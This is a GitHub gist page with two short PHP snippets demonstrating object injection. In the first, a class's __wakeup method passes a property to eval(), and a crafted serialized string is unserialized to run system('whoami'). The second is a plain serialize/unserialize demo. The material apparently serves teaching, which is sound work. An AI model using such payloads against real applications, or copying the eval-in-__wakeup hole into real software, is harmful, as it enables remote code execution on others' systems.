Created
June 15, 2020 03:54
-
-
Save MohitDabas/fa98677d3a33d4cace5dd14a660cb023 to your computer and use it in GitHub Desktop.
Php Object Injection Attack Code Snippets
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class PHPObjectInjection{ | |
public $inject; | |
function __wakeup(){ | |
if(isset($this->inject)){ | |
eval($this->inject); | |
} | |
} | |
} | |
$a= new PHPObjectInjection(); | |
$b=serialize($a); | |
echo $b; | |
$b="O:18:\"PHPObjectInjection\":1:{s:6:\"inject\";s:17:\"system('whoami');\";}"; | |
$c=unserialize($b); | |
print_r($c); | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class PHPObjectInjection{ | |
public $inject; | |
} | |
$a= new PHPObjectInjection(); | |
$b=serialize($a); | |
echo $b; | |
echo "\n"; | |
$c=unserialize($b); | |
print_r($c); | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment